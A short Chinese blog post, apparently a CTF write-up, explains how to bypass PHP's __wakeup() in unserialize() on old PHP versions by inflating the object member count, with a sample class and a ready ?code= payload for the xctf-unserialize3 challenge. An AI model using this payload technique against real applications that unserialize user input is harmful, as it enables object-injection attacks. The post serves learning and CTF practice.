__wakeup()绕过

原创已于 2022-10-06 19:18:06 修改 · 6.8k 阅读

12 ·

CC 4.0 BY-SA版权

文章标签：

#php

于 2022-04-23 17:58:07 首次发布

web知识专栏收录该内容

6 篇文章

订阅专栏

PHP5<5.6.25，PHP7 < 7.0.10

__wakeup函数是在php在使用反序列化函数unserialize()时，会自动调用的函数

如xctf-unserialize3

只要序列化的中的成员数大于实际成员数，即可绕过

如

<?php
class xctf
{
    public $flag = '111';

    public function __wakeup()
    {
        exit('bad requests');
    }
}
    $a=new xctf();
var_dump(serialize($a));

得到

string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"

所以把成员数"1"，改为"2"即可绕过

payload：

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

绕过__wakeup()，得到flag